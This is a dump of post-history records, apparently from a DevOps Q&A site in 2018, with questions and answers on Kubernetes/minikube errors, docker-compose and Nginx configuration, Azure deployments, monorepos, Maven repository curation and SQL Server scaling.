  <row Id="12745" PostHistoryTypeId="2" PostId="4070" RevisionGUID="03076b70-2ad2-48a5-84fe-5d2202f8f013" CreationDate="2018-05-08T10:31:30.513" UserId="7741" Text="I ran minikube with: &#xD;&#xA;&#xD;&#xA;    minikube start --vm-driver=kvm2 --kubernetes-version=v1.8.0&#xD;&#xA;&#xD;&#xA;status:&#xD;&#xA;&#xD;&#xA;    minikube: Running&#xD;&#xA;    cluster: Running&#xD;&#xA;    kubectl: Correctly Configured: pointing to minikube-vm at 192.168.39.93&#xD;&#xA;&#xD;&#xA;However, running `kubectl get all` returns this error:&#xD;&#xA;&#xD;&#xA;    error: the server doesn't have a resource type &quot;cronjobs&quot;&#xD;&#xA;&#xD;&#xA;Anyone have any idea what could be the reason for this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12746" PostHistoryTypeId="1" PostId="4070" RevisionGUID="03076b70-2ad2-48a5-84fe-5d2202f8f013" CreationDate="2018-05-08T10:31:30.513" UserId="7741" Text="Kubectl: the server doesn't have a resource type &quot;cronjobs&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12747" PostHistoryTypeId="3" PostId="4070" RevisionGUID="03076b70-2ad2-48a5-84fe-5d2202f8f013" CreationDate="2018-05-08T10:31:30.513" UserId="7741" Text="&lt;kubernetes&gt;&lt;minikube&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12749" PostHistoryTypeId="2" PostId="4072" RevisionGUID="77f49426-59b1-4010-be1a-218b7459dffb" CreationDate="2018-05-08T12:31:20.580" UserId="2708" Text="Opinions differ on what a large code base is. If you are speaking about a company with 100 engineers, I would argue that Git should still be able to handle it. It has been developed for the needs of the Linux kernel, which is not a small project on its own.&#xD;&#xA;&#xD;&#xA;Independent of the way how you store the repository, you may run into problems. For instance, if you are working on a large Java code base and are using tools like Eclipse or IntelliJ, they will use more memory and generally become slower.&#xD;&#xA;&#xD;&#xA;On the other hand, having the option to operate on all code at once (e.g., when applying refactoring, or source code transformations) is one of the main advantages of monolithic repositories.&#xD;&#xA;&#xD;&#xA;When you ask about whether you need specialized tools, then up a certain code size, the answer is yes. According to Google, which arguably has the biggest C++ codebase in the world, all available tools (open source or commercial) did not satisfy their requirements. They ended up developing an inhouse system called Piper:&#xD;&#xA;&#xD;&#xA;* [Why Google Stores Billions of Lines of Code in a Single Repository][1]&#xD;&#xA;* [What version control system does Google use and why?][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cacm.acm.org/magazines/2016/7/204032-why-google-stores-billions-of-lines-of-code-in-a-single-repository/fulltext&#xD;&#xA;  [2]: https://www.quora.com/What-version-control-system-does-Google-use-and-why" ContentLicense="CC BY-SA 4.0" />
  <row Id="12750" PostHistoryTypeId="2" PostId="4073" RevisionGUID="c675e48e-2a5d-4f25-8f75-d18747a9adf0" CreationDate="2018-05-08T12:44:25.660" UserId="7744" Text="I have been using web deploy for ages and it’s been very stable except for couple of azure outage times. &#xA;&#xA;Suggest using [deployment slots][1]. You can use a CD like [visual studio team services][2] and first web deploy to the slot and add a step to swap the ‘staging’ slot with ‘production’. &#xA;&#xA;If you are using a basic deploy approach you can turn on auto swap which triggers upon successful deployment to the ‘staging’ slot. I personally don’t like this and have seen issues with this. &#xA;&#xA;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/app-service/web-sites-staged-publishing&#xA;  [2]: https://www.visualstudio.com/vso/" ContentLicense="CC BY-SA 4.0" />
  <row Id="12751" PostHistoryTypeId="2" PostId="4074" RevisionGUID="0247f531-ffda-495c-bb43-5b953015b323" CreationDate="2018-05-08T12:56:27.513" UserId="7744" Text="ARM Templated Deployment for the PaaS and the underlying components managed by Microsoft in the case of Azure. Don’t need a seperate CM. This is the beauty of being pure PaaS. &#xA;&#xA;terraform is a wrapper for ARM. Unless you are cross cloud no need for this. " ContentLicense="CC BY-SA 4.0" />
  <row Id="12753" PostHistoryTypeId="5" PostId="3274" RevisionGUID="3dffe7a9-49a2-42ed-81ba-37b82613960d" CreationDate="2018-05-08T14:47:36.420" UserId="4790" Comment="added 2372 characters in body" Text="Thanks to this [question and answer here][1], I was able realize that I had two issues going on:&#xD;&#xA;&#xD;&#xA; 1. the containers have different default Docker networks because I am using two different docker-compose.yml files, I had envisioned my Ngnix proxy working independently from any of my API containers entirely, including the docker-compose, more on that issue below&#xD;&#xA; 2. the second issue is simply when I tried to proxy to 127.0.0.1:5023 that is localhost inside the Ngnix container, not the network outside of the Nginx proxy container&#xD;&#xA;&#xD;&#xA;So the different default networks being created by docker-compose for my Nginx proxy docker container and my api docker container are because I amusing two different docker-compose.yml files. This is because I have Jenkins builds for many API microservices so the have independant docker-compose files and I needed a Nginx proxy to forward requests on port 80 to each microservice.&#xD;&#xA;&#xD;&#xA;To test this out, created a docker-compose.yml for both containers, the API and the Nginx proxy:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      reverseproxy:&#xD;&#xA;        build: &#xD;&#xA;          context: ./&#xD;&#xA;          dockerfile: docker/nginxproxy/docker/Dockerfile&#xD;&#xA;        image: tsl.devops.reverseproxy.image&#xD;&#xA;        container_name: tsl.devops.reverseproxy.container&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;80:80&quot;&#xD;&#xA;      apistaging:&#xD;&#xA;        build: &#xD;&#xA;          context: ./&#xD;&#xA;          dockerfile: docker/staging/Dockerfile&#xD;&#xA;        image: tsl.api.example.image&#xD;&#xA;        container_name: tsl.api.example.container&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;5023:5023&quot;&#xD;&#xA;        environment: &#xD;&#xA;          ASPNETCORE_URLS: http://+:5023&#xD;&#xA;&#xD;&#xA;Yes there was still an issue, the proxy pass to http//:127.0.0.1:5023, that forward remains in the Nginx Docker container and never finds the API running on the Docker host, I simply needed to use the docker-compose.yml service name to get to it:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    upstream accountstaging {&#xD;&#xA;        server apistaging:5023;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    server {&#xD;&#xA;    &#xD;&#xA;        listen 80;&#xD;&#xA;        server_name account.staging.mysite.com;&#xD;&#xA;    &#xD;&#xA;        location / {&#xD;&#xA;            proxy_pass         http://accountstaging;&#xD;&#xA;            proxy_redirect     off;&#xD;&#xA;            proxy_set_header   Host $host;&#xD;&#xA;            proxy_set_header   X-Real-IP $remote_addr;&#xD;&#xA;            proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;&#xD;&#xA;            proxy_set_header   X-Forwarded-Host $server_name;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/46264954/connection-refused-while-connecting-to-upstream-when-using-nginx-as-reverse-prox&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12754" PostHistoryTypeId="6" PostId="4051" RevisionGUID="cb8f1f64-6704-4fb9-9ea0-4bba7e2443e5" CreationDate="2018-05-08T18:07:39.140" UserId="739" Comment="add git tag" Text="&lt;git&gt;&lt;monorepo&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12755" PostHistoryTypeId="24" PostId="4051" RevisionGUID="cb8f1f64-6704-4fb9-9ea0-4bba7e2443e5" CreationDate="2018-05-08T18:07:39.140" Comment="Proposed by 739 approved by 707 edit id of 689" ContentLicense="CC BY-SA 4.0" />
  <row Id="12756" PostHistoryTypeId="2" PostId="4075" RevisionGUID="40f77af5-b16c-4664-a151-153d5b4dc0a8" CreationDate="2018-05-08T20:19:06.290" UserId="4175" Text="I have never heard of a common name for what you describe; and rarely, if ever, have I seen a notation where someone references to something which has a &quot;begin&quot; and &quot;end&quot; version. It just is not that applicable in a general fashion; this is probably why there is no such name. Also changelogs usually don't contain this information except for extremely bad breaks that need some kind of notice about which span(sic) of versions one should rather stay clear of.&#xD;&#xA;&#xD;&#xA;The closest you could get to a common name (popularized by Jira, for example) is probably to call 1.3 in your example the &quot;affected version&quot;, and 1.5 the &quot;fixed version&quot;; possibly allowing multiple values there. But they also have no name for the *span* as an entity.&#xD;&#xA;&#xD;&#xA;Note that it is not really a problem if you have multiple old maintenance releases like you are describing. Those would just lead to multiple spans distributed over the branches." ContentLicense="CC BY-SA 4.0" />
  <row Id="12757" PostHistoryTypeId="50" PostId="3494" RevisionGUID="5d90a682-c4f8-44e5-bae2-f1dbc9dbdf12" CreationDate="2018-05-08T20:54:18.033" UserId="-1" />
  <row Id="12758" PostHistoryTypeId="2" PostId="4076" RevisionGUID="a46795b9-d1c5-4c9d-896b-8cd031451817" CreationDate="2018-05-09T04:27:19.843" UserId="7761" Text="You can try below /etc/docker/daemon.json &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;experimental&quot; : true,&#xD;&#xA;        &quot;storage-driver&quot; : &quot;devicemapper&quot;,&#xD;&#xA;        &quot;storage-opts&quot; : [&quot;dm.basesize=20G&quot;]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then try :&#xD;&#xA;&#xD;&#xA;    systemctl daemon-reload&#xD;&#xA;    systemctl restart docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="12759" PostHistoryTypeId="34" PostId="3965" RevisionGUID="283490d7-d755-49ae-9ca6-45c35cb9deef" CreationDate="2018-05-09T05:54:25.207" UserId="-1" Comment="18" />
  <row Id="12760" PostHistoryTypeId="5" PostId="4075" RevisionGUID="0c246b07-de0c-4e90-9ef2-bf35e9f1588f" CreationDate="2018-05-09T06:49:56.693" UserId="4175" Comment="added 869 characters in body" Text="I have never heard of a common name for what you describe; and rarely, if ever, have I seen a notation where someone references to something which has a &quot;begin&quot; and &quot;end&quot; version. It just is not that applicable in a general fashion; this is probably why there is no such name. Also changelogs usually don't contain this information except for extremely bad breaks that need some kind of notice about which span(sic) of versions one should rather stay clear of.&#xD;&#xA;&#xD;&#xA;The closest you could get to a common name (popularized by Jira, for example) is probably to call 1.3 in your example the &quot;affected version&quot;, and 1.5 the &quot;fixed version&quot;; possibly allowing multiple values there. But they also have no name for the *span* as an entity.&#xD;&#xA;&#xD;&#xA;Note that it is not really a problem if you have multiple old maintenance releases like you are describing. Those would just lead to multiple spans distributed over the branches.&#xD;&#xA;&#xD;&#xA;Regarding your edit:&#xD;&#xA;&#xD;&#xA;&gt;  Instead of having to look through release notes this would be a table of features mapped to versions. Release notes typically have &quot;bugs not fixed&quot; but release notes never show bugs not yet found. My customer has multiple variants/branches of systems deployed all over the world, and wants a quick and easy way to know which variants and deployments have which features and bugs. &#xD;&#xA;&#xD;&#xA;Been there done that. You are doing well to approach this with care, it can really &quot;explode&quot; after a while. If you are using a tool like Jira, you should really find a field for each issue which allows you to mention releases related to the issue. If you decide do go manually, just list your version ranges in whatever format seems right to you. &#xD;&#xA;&#xD;&#xA;I would not bother with finding a name for a range of versions, but just call them &quot;affected versions&quot;." ContentLicense="CC BY-SA 4.0" />
  <row Id="12761" PostHistoryTypeId="50" PostId="3263" RevisionGUID="983c0a3a-0f00-4d56-8572-4547bf61af08" CreationDate="2018-05-09T16:54:42.347" UserId="-1" />
  <row Id="12762" PostHistoryTypeId="2" PostId="4077" RevisionGUID="20f2c3ba-ff64-4417-9e59-62b8da7f54d9" CreationDate="2018-05-09T19:33:19.527" UserId="786" Text="Microsoft in collaboration with EdX is running [a comprehensive DevOps course][1]. It covers Chef/Puppet for configuration management, Selenium for testing, Docker, Nagios, Loggly etc. Obviously being Microsoft they use Azure, but all this tooling is [Open Source][2] and so the skills are very transferrable. All the courses are free, you only pay if you want the Certificate. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://academy.microsoft.com/en-us/professional-program/tracks/devops/&#xD;&#xA;  [2]: https://open.microsoft.com" ContentLicense="CC BY-SA 4.0" />
  <row Id="12763" PostHistoryTypeId="5" PostId="4033" RevisionGUID="051eff27-ebd7-432f-90de-45effcba32ab" CreationDate="2018-05-09T21:36:54.677" UserId="3062" Comment="added 747 characters in body" Text="I have a few CI environment in VSTS.  One for dev, QA, staging, and production.  my builds are created in the cloud by VSTS build agents.  these builds are not obfuscated by design and need to be deployed to my dev and test environments as such.  When they are approved by QA in the test env, they go to staging.  What I need to have happen is for the build to be obfuscated before being put in this environment.  Is it possible for me to run a docker container in VSTS release pipeline to obfuscate the build in the container and then download the result in a deployment group?&#xD;&#xA;&#xD;&#xA;My main questions are boiled down to this:&#xD;&#xA;&#xD;&#xA;I would like to have a container image in the cloud running a tool installed on the image. During my VSTS release pipeline, I would like for my release agent to pull down this image, pass in the build artifact, and then do something with the results of running my artifact through this tool. I have an Azure subscription. I've tried reading the documentation but I'm confused as to what I need to set up. This container is not hosting any web app, but is being used as a way to run my tool locally on the release agent. I see that I can run a docker run command as a VSTS pipeline action. What do I need to set up on my azure subscription to host this image for the VSTS agent to pull it down?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12764" PostHistoryTypeId="2" PostId="4078" RevisionGUID="aa0665da-a575-4b78-a8fc-ff5514dcc6ce" CreationDate="2018-05-10T02:32:56.363" UserId="2603" Text="Right now I am looking for ec2 instances type limits for a given region.  I would like to put in place an audit script that tracks our usage vs our limits for a given set of things.  Also open to other tools that work well with Python&#xD;&#xA;&#xD;&#xA;thanks  " ContentLicense="CC BY-SA 4.0" />
  <row Id="12765" PostHistoryTypeId="1" PostId="4078" RevisionGUID="aa0665da-a575-4b78-a8fc-ff5514dcc6ce" CreationDate="2018-05-10T02:32:56.363" UserId="2603" Text="does boto3 have a way to get resource limits from a region?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12766" PostHistoryTypeId="3" PostId="4078" RevisionGUID="aa0665da-a575-4b78-a8fc-ff5514dcc6ce" CreationDate="2018-05-10T02:32:56.363" UserId="2603" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;python&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12768" PostHistoryTypeId="50" PostId="2481" RevisionGUID="af92cea2-5dfa-456d-9cf7-12b2201d4eaa" CreationDate="2018-05-10T03:56:55.877" UserId="-1" />
  <row Id="12769" PostHistoryTypeId="2" PostId="4079" RevisionGUID="9ba5467b-a550-4e2a-8c6d-8b88004c04e0" CreationDate="2018-05-10T04:37:19.060" UserId="7777" Text="In the programming language we can define and declare a &lt;b&gt;variable&lt;/b&gt; and use it later in the program, can we do same in &lt;b&gt;docker-compose&lt;/b&gt; file?  &#xD;&#xA;###For example in Java: &#xD;&#xA;int &lt;b&gt;x&lt;/b&gt; = 100; &#xD;&#xA;System.out.println(&quot;Number is: &quot;+ &lt;b&gt;x&lt;/b&gt;); &lt;br/&gt;&#xD;&#xA;Similarly, in docker-compose file, can we declare a local variables and use it later. &#xD;&#xA;&#xD;&#xA;###docker-compose file&#xD;&#xA;#### In the docker-compose file we want to declare &lt;b&gt;tomcat_home&lt;/b&gt; as a variable and use it later as shown in example. &#xD;&#xA;&lt;code&gt;&#xD;&#xA;values:&#xD;&#xA;  - &lt;b&gt;tomcat_home&lt;/b&gt;: &quot;/usr/local/tomcat&quot; &#xD;&#xA;#### # Creating Tomcat Server 1&#xD;&#xA;Server1:&#xD;&#xA;  image: tomcat&#xD;&#xA;  hostname: TomcatServer1&#xD;&#xA;  container_name: TomcatServer1&#xD;&#xA;  volumes:&#xD;&#xA;    - ${PWD}/tomcat-users.xml:&lt;b&gt;${tomcat_home}&lt;/b&gt;/conf/tomcat-users.xml&#xD;&#xA;    - ${PWD}/server.xml:&lt;b&gt;${tomcat_home}&lt;/b&gt;/conf/server.xml&#xD;&#xA;&lt;/code&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12770" PostHistoryTypeId="1" PostId="4079" RevisionGUID="9ba5467b-a550-4e2a-8c6d-8b88004c04e0" CreationDate="2018-05-10T04:37:19.060" UserId="7777" Text="docker-compose local variable declare and use" ContentLicense="CC BY-SA 4.0" />
  <row Id="12771" PostHistoryTypeId="3" PostId="4079" RevisionGUID="9ba5467b-a550-4e2a-8c6d-8b88004c04e0" CreationDate="2018-05-10T04:37:19.060" UserId="7777" Text="&lt;docker-compose&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12772" PostHistoryTypeId="50" PostId="3463" RevisionGUID="df0cfed8-ef51-46c2-8b4d-395f7616d7d3" CreationDate="2018-05-10T04:56:55.810" UserId="-1" />
  <row Id="12773" PostHistoryTypeId="2" PostId="4080" RevisionGUID="d2f0c43a-375f-4fac-9588-40b6f9dd2f66" CreationDate="2018-05-10T07:35:35.397" UserId="210" Text="https://docs.docker.com/compose/environment-variables/#the-env-file&#xD;&#xA;&#xD;&#xA;One could set a variable in an .env file:&#xD;&#xA;&#xD;&#xA;    TAG=1.2.3&#xD;&#xA;&#xD;&#xA;and call it in a docker-compose file&#xD;&#xA;&#xD;&#xA;docker-compose.yml&#xD;&#xA;&#xD;&#xA;    version: &quot;3&quot;&#xD;&#xA;    services:&#xD;&#xA;      web:&#xD;&#xA;        image: nginx:${TAG}&#xD;&#xA;        ports:&#xD;&#xA;        - 80:80&#xD;&#xA;&#xD;&#xA;docker-compose up&#xD;&#xA;&#xD;&#xA;returns:&#xD;&#xA;&#xD;&#xA;    Pulling web (nginx:1.2.3)...&#xD;&#xA;    ERROR: manifest for nginx:1.2.3 not found&#xD;&#xA;&#xD;&#xA;No need to run docker-compose to check the config&#xD;&#xA;&#xD;&#xA;According to the documentation one could run:&#xD;&#xA;&#xD;&#xA;    docker-compose config&#xD;&#xA;&#xD;&#xA;to verify the docker-compose config&#xD;&#xA;&#xD;&#xA;    networks: {}&#xD;&#xA;    services:&#xD;&#xA;      web:&#xD;&#xA;        image: nginx:1.2.3&#xD;&#xA;        ports:&#xD;&#xA;        - 80:80/tcp&#xD;&#xA;    version: '3.0'&#xD;&#xA;    volumes: {}" ContentLicense="CC BY-SA 4.0" />
  <row Id="12774" PostHistoryTypeId="2" PostId="4081" RevisionGUID="7966c66c-b4be-4f7e-a110-1e8735c9ef11" CreationDate="2018-05-10T09:08:24.887" UserId="4175" Text="&gt; What could be a feasible way to motivate Maven and repository makers to establish some kind of early time warning, like issue special headers on download, or and additionally for example reject download of vulnerable components by default?&#xD;&#xA;&#xD;&#xA;Your concern, i.e. the meat of your question is a very valid one: how to improve security when downloading &quot;stuff&quot; from the internet. Maven, yes, but also other places like Dockerhub, Debian, Ubuntu etc..&#xD;&#xA;&#xD;&#xA;I have no idea what stance the Maven developers have on this; I assume they have thought about it and come to the conclusion that it is not a good idea, for whatever reason. Generally speaking, I see no particular reason to place this responsibility on the repository, though.&#xD;&#xA;&#xD;&#xA;Having separate responsibilities between componentes (here, Maven Central as one component) is a very powerful concept in IT. You find it in Unix command line tools, in OOP class design, or server architecture. In this particular case, it seems perfectly valid to me to let Maven Central simply be a huge repository of &quot;stuff&quot;. Its main function is to *be there* and supply the packages.&#xD;&#xA;&#xD;&#xA;Placing a security filter, if you will, between `mvn` and Maven Central is then pretty easily achieved. For example, a company I work for runs their own hierarchy of Nexuses; while the developers can pretty much do whatever they want on their laptops, the automated build environments have no internet access and must go through curated Nexuses. Each project has their own Nexus (for seldom used packages), and they chain up to a common intra-company global Nexus.&#xD;&#xA;&#xD;&#xA;Developers, then, have no way to insert packages into those Nexuses, but a dedicated team reviews new packages and decides whether they can be used.&#xD;&#xA;&#xD;&#xA;Note that this extends not only to security, but also, for example, to licenses. Depending on the policy of the company, not every open source license may be acceptable. So this can also be screened for.&#xD;&#xA;&#xD;&#xA;Another big reason would be non-security related bugs. Say you find that X of your projects use package Y, and Y is found out to contain a serious bug, maybe with the result of being able to trash all you data. Would Maven Central remove that version from their repository? Certainly not! The bug may only appear in a very small edge case, which, by chance could be very relevant to your company. So, by having your own repository structure inbetween, you can flag the affected versions as &quot;invalid&quot;, and thus enforce bug fixes traveling downward to your projects.&#xD;&#xA;&#xD;&#xA;Finally, a company might want to phase out old versions of packages as a matter of routine, simply to keep up with the times. Using such a &quot;filter&quot; approach helps with that as well.&#xD;&#xA;&#xD;&#xA;Back to Maven Central: why do they not do it? The question is not just a technical one, but also organizational. Who decides what is a relevant breach of security? Are we only talking about actual bugs? Are we also excluding packages that are safe in the hands of a responsible and knowledgeable user, or do we also by default remove packages that lead to possible holes indirectly (i.e., in a Unix package management, one may designate the `telnetd` package as insecure although it is, per se, perfectly fine).&#xD;&#xA;&#xD;&#xA;So there you have it. Such filtering is a complex issue, and complex stuff is best distributed to different entities instead of forcing it on one central body." ContentLicense="CC BY-SA 4.0" />
  <row Id="12775" PostHistoryTypeId="5" PostId="4081" RevisionGUID="7cbf1f8b-d8ee-4b19-b62d-69a78e3ac49e" CreationDate="2018-05-10T09:29:51.307" UserId="4175" Comment="added 1 character in body" Text="&gt; What could be a feasible way to motivate Maven and repository makers to establish some kind of early time warning, like issue special headers on download, or and additionally for example reject download of vulnerable components by default?&#xD;&#xA;&#xD;&#xA;Your concern, i.e. the meat of your question is a very valid one: how to improve security when downloading &quot;stuff&quot; from the internet. Maven, yes, but also other places like Dockerhub, Debian, Ubuntu etc..&#xD;&#xA;&#xD;&#xA;I have no idea what stance the Maven developers have on this; I assume they have thought about it and come to the conclusion that it is not a good idea, for whatever reason. Generally speaking, I see no particular reason to place this responsibility on the repository, though.&#xD;&#xA;&#xD;&#xA;Having separate responsibilities between componentes (here, Maven Central as one component) is a very powerful concept in IT. You find it in Unix command line tools, in OOP class design, or server architecture. In this particular case, it seems perfectly valid to me to let Maven Central simply be a huge repository of &quot;stuff&quot;. Its main function is to *be there* and supply the packages.&#xD;&#xA;&#xD;&#xA;Placing a security filter, if you will, between `mvn` and Maven Central is then pretty easily achieved. For example, a company I work for runs their own hierarchy of Nexuses; while the developers can pretty much do whatever they want on their laptops, the automated build environments have no internet access and must go through curated Nexuses. Each project has their own Nexus (for seldom used packages), and they chain up to a common intra-company global Nexus.&#xD;&#xA;&#xD;&#xA;Developers, then, have no way to insert packages into those Nexuses, but a dedicated team reviews new packages and decides whether they can be used.&#xD;&#xA;&#xD;&#xA;Note that this extends not only to security, but also, for example, to licenses. Depending on the policy of the company, not every open source license may be acceptable. So this can also be screened for.&#xD;&#xA;&#xD;&#xA;Another big reason would be non-security related bugs. Say you find that X of your projects use package Y, and Y is found out to contain a serious bug, maybe with the result of being able to trash all your data. Would Maven Central remove that version from their repository? Certainly not! The bug may only appear in a very small edge case, which, by chance could be very relevant to your company. So, by having your own repository structure inbetween, you can flag the affected versions as &quot;invalid&quot;, and thus enforce bug fixes traveling downward to your projects.&#xD;&#xA;&#xD;&#xA;Finally, a company might want to phase out old versions of packages as a matter of routine, simply to keep up with the times. Using such a &quot;filter&quot; approach helps with that as well.&#xD;&#xA;&#xD;&#xA;Back to Maven Central: why do they not do it? The question is not just a technical one, but also organizational. Who decides what is a relevant breach of security? Are we only talking about actual bugs? Are we also excluding packages that are safe in the hands of a responsible and knowledgeable user, or do we also by default remove packages that lead to possible holes indirectly (i.e., in a Unix package management, one may designate the `telnetd` package as insecure although it is, per se, perfectly fine).&#xD;&#xA;&#xD;&#xA;So there you have it. Such filtering is a complex issue, and complex stuff is best distributed to different entities instead of forcing it on one central body." ContentLicense="CC BY-SA 4.0" />
  <row Id="12776" PostHistoryTypeId="6" PostId="4079" RevisionGUID="614c67d7-f3bb-485e-9b34-f3dd010b5cc7" CreationDate="2018-05-10T16:57:17.997" UserId="210" Comment="edited tags" Text="&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12777" PostHistoryTypeId="5" PostId="4063" RevisionGUID="26e49dd7-2fc2-4076-8d52-561840f717d9" CreationDate="2018-05-10T17:02:39.083" UserId="2708" Comment="remove greetings" Text="This article, or series of articles, walks through setting up a CI/CD pipeline for DSC using VSTS (Visual Studio Team Services).  Building a VSTS account in Azure is free and it provides some number of build minutes for free as well.&#xD;&#xA;&#xD;&#xA;[https://blogs.technet.microsoft.com/automagically/2017/04/11/continous-deployment-to-azure-automation-dsc/][1]&#xD;&#xA;&#xD;&#xA;Basically, rather than setting up a runbook, you can configure a CI/CD pipeline using build services in VSTS to perform whatever orchestration activities you require for DSC and VSTS enables you to save your code in their source control management system.&#xD;&#xA;&#xD;&#xA;  [1]: https://blogs.technet.microsoft.com/automagically/2017/04/11/continous-deployment-to-azure-automation-dsc/" ContentLicense="CC BY-SA 4.0" />
  <row Id="12778" PostHistoryTypeId="24" PostId="4063" RevisionGUID="26e49dd7-2fc2-4076-8d52-561840f717d9" CreationDate="2018-05-10T17:02:39.083" Comment="Proposed by 2708 approved by -1 edit id of 690" ContentLicense="CC BY-SA 4.0" />
  <row Id="12779" PostHistoryTypeId="5" PostId="4063" RevisionGUID="88708c4e-da1c-427e-a4d0-36f853449c03" CreationDate="2018-05-10T17:02:39.083" UserId="40" Comment="Add link title" Text="The article &quot;[Continuous Deployment to Azure Automation DSC][1]&quot;, or series of articles, walks through setting up a CI/CD pipeline for DSC using VSTS (Visual Studio Team Services).  Building a VSTS account in Azure is free and it provides some number of build minutes for free as well.&#xD;&#xA;&#xD;&#xA;Basically, rather than setting up a runbook, you can configure a CI/CD pipeline using build services in VSTS to perform whatever orchestration activities you require for DSC and VSTS enables you to save your code in their source control management system.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://blogs.technet.microsoft.com/automagically/2017/04/11/continous-deployment-to-azure-automation-dsc/" ContentLicense="CC BY-SA 4.0" />
  <row Id="12780" PostHistoryTypeId="50" PostId="3552" RevisionGUID="8810dbcf-66ba-4b7f-b2c3-1ccbb57f6ec4" CreationDate="2018-05-10T18:56:57.770" UserId="-1" />
  <row Id="12781" PostHistoryTypeId="2" PostId="4082" RevisionGUID="9e786e6a-b742-4229-a1be-10b761700b99" CreationDate="2018-05-10T19:48:57.720" UserId="7791" Text="I'm currently working on a new major version (v2) of an application meant to replace the current production version (v1). This redesign carries with it changes to the front-end, public API layer, internal API layer, and database — the whole kit and kaboodle.&#xD;&#xA;&#xD;&#xA;While it is easy to have active v1 and v2 front-ends and public API (which I'll call the &quot;front half&quot; for brevity's sake) simultaneously in our lower environments, for various reason, this is NOT possible for us to do with the internal API and database (which I'll call the &quot;back half&quot;).&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;The v2 redesign necessitates changes to the back half that cause breakage in the v1 front half. However, in this particular instance, by making a minor change in the v1 front half, this breakage can be avoided. As such, it is possible for us to deploy this v1 &quot;shim&quot; along with the changes to the back half to production. When the time comes, we will be able to cut over to the v2 front half without the back half needing any further deployments.&#xD;&#xA;&#xD;&#xA;Is there a name for this particular type of deployment, where a shim is deployed to an existing app to make it work with an updated back end, with the goal of making a future cut over seamless?&#xD;&#xA;&#xD;&#xA;Taking my definition of blue/green deployment from [this informative blog post][2], I do not believe this is a distinctly separate kind of deployment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/u5DLs.png&#xD;&#xA;  [2]: https://minops.com/blog/2015/02/the-dos-and-donts-of-bluegreen-deployment/" ContentLicense="CC BY-SA 4.0" />
  <row Id="12782" PostHistoryTypeId="1" PostId="4082" RevisionGUID="9e786e6a-b742-4229-a1be-10b761700b99" CreationDate="2018-05-10T19:48:57.720" UserId="7791" Text="What is the term for a deployment designed to make cut-over seamless (not blue/green)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12783" PostHistoryTypeId="3" PostId="4082" RevisionGUID="9e786e6a-b742-4229-a1be-10b761700b99" CreationDate="2018-05-10T19:48:57.720" UserId="7791" Text="&lt;deployment&gt;&lt;release-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12784" PostHistoryTypeId="2" PostId="4083" RevisionGUID="8f4d0a31-5901-4c8d-a4a4-30762c1d3c1e" CreationDate="2018-05-10T20:13:51.543" UserId="7695" Text="I am working on some architecture where we need to have a Microsoft Sql Server database that is scalable, with one writable master and many read-only slaves.  Ideally I should be able to hit a load balancer of some kind, and if it is a write, it goes to the master, and if it is a read it is load balanced through the slaves.  Some kind of eventual consistency would update the slaves over time to match the data on the master.  &#xD;&#xA;&#xD;&#xA;I'm fairly sure that AWS and MySQL are capable of doing this out of the box pretty simply.  However, I've got little knowledge of the Microsoft Sql Server side of things.  One of my fellow architects insists it is impossible, but was not able to back up that statement with anything.  We are hosting our microservices in Azure currently, but our databases are supposed to be on prem in our datacenter.  This is a flagship project, so suffice it to say if there's a cool thing out there that we can use for scaling, we can probably convince our DBAs and Ops to use it for this project.&#xD;&#xA;&#xD;&#xA;That said, things in the cloud for our DBs are out of the question at the moment. " ContentLicense="CC BY-SA 4.0" />
  <row Id="12785" PostHistoryTypeId="1" PostId="4083" RevisionGUID="8f4d0a31-5901-4c8d-a4a4-30762c1d3c1e" CreationDate="2018-05-10T20:13:51.543" UserId="7695" Text="Is it possible to set up Microsoft Sql Server in a scalable way?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12786" PostHistoryTypeId="3" PostId="4083" RevisionGUID="8f4d0a31-5901-4c8d-a4a4-30762c1d3c1e" CreationDate="2018-05-10T20:13:51.543" UserId="7695" Text="&lt;load-balance&gt;&lt;sql&gt;" ContentLicense="CC BY-SA 4.0" />
